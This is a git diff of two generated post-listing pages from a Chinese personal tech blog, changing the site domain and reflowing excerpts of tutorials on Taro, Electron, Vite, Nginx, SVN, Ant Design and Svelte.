x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -23,18 +23,7 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
-import { View, Text } from '@tarojs/components'
-import './index.less'
-function Main(){
-const [count ,setUserName] = useState("hallo word")
-return ( &lt;View>
-&lt;Text>{count}&lt;/Text>
-&lt;/View>
-)
-}
-export default Main
-子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等
@@ -54,7 +43,7 @@
 作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
 import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件
-import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -73,23 +62,8 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
-mainWindow = new BrowserWindow({
-// 设置窗口大小
-width:500,
-height:500,
-webPreferences:{
-nodeIntegration: true
-// 是否集成node
-}
-}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
-mainWindow.on('closed',()=>{
-mainWindow = null
-// 监听销毁事件，事件触发关闭主窗口，设置为null
-})
-})
-初始化
-npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://xiaochenabc123.github.io/posts/91/></a></article><article class=post-entry><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://chenjunlinabc.github.io/posts/91/></a></article><article class=post-entry><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -115,7 +89,7 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://xiaochenabc123.github.io/posts/88/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://chenjunlinabc.github.io/posts/88/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -154,11 +128,9 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
-配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
-....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://xiaochenabc123.github.io/posts/87/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/11/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/13/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://chenjunlinabc.github.io/posts/87/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/11/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/13/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/13/index.html b/posts/page/13/index.html
index 71aa4a56..43997747 100644
--- a/posts/page/13/index.html
+++ b/posts/page/13/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -32,7 +32,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -66,9 +66,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
-worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
-error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -101,7 +99,7 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://xiaochenabc123.github.io/posts/84/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://chenjunlinabc.github.io/posts/84/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -116,14 +114,7 @@
 yarn create react-app antd-demo-ts –template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-&lt;Space direction="vertical">
-&lt;DatePicker/>
-&lt;/Space>,
-document.getElementById('root'),
-);</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://xiaochenabc123.github.io/posts/82/></a></article><article class=post-entry><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( &lt;Space direction="vertical"> &lt;DatePicker/> &lt;/Space>, document.getElementById('root'), );</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://chenjunlinabc.github.io/posts/82/></a></article><article class=post-entry><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -131,22 +122,11 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&lt;script>
-let name = 'world'
-&lt;/script>
-&lt;h1>Hello {name}!&lt;/h1>
-导入组件
-import Hallo from './hallo.svelte'
-...
-&lt;Hallo/>
-如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
+&lt;script> let name = 'world' &lt;/script> &lt;h1>Hello {name}!&lt;/h1> 导入组件
+import Hallo from './hallo.svelte' ... &lt;Hallo/> 如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
 事件响应
-function aClick() {
-count += 1
-}
-...
